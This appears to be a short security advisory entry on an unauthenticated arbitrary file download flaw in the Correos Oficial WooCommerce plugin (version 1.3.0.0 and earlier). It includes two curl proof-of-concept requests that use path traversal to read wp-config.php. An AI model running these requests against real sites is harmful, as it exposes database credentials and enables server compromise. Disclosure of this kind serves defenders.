Correos Oficial <= 1.3.0.0 - Unauthenticated Arbitrary File Download

2023-01-3100:00:00

Andrea Iodice

227

correos oficial

unauthenticated

arbitrary file download

woocommerce

exploit

EPSS

0.002

Percentile

61.5%

JSON

The plugin does not have an authorization check user input validation when generating a file path, allowing unauthenticated attackers to download arbitrary files from the server.

Dependency: WooCommerce plugin

Use the following curl command to download the contents of the wp-config.php file:

curl -i 'https://example.com/wp-content/plugins/correosoficial/descarga_etiqueta.php?path=../../..&filename=wp-config.php' 

or

curl -i 'https://example.com/wp-content/plugins/correosoficial/descarga_etiqueta.php?path=..&filename=/../../wp-config.php'

EPSS

0.002

Percentile

61.5%

JSON

Related for WPEX-ID:1B4DBAF3-1364-4103-9A7B-B5A1355C685B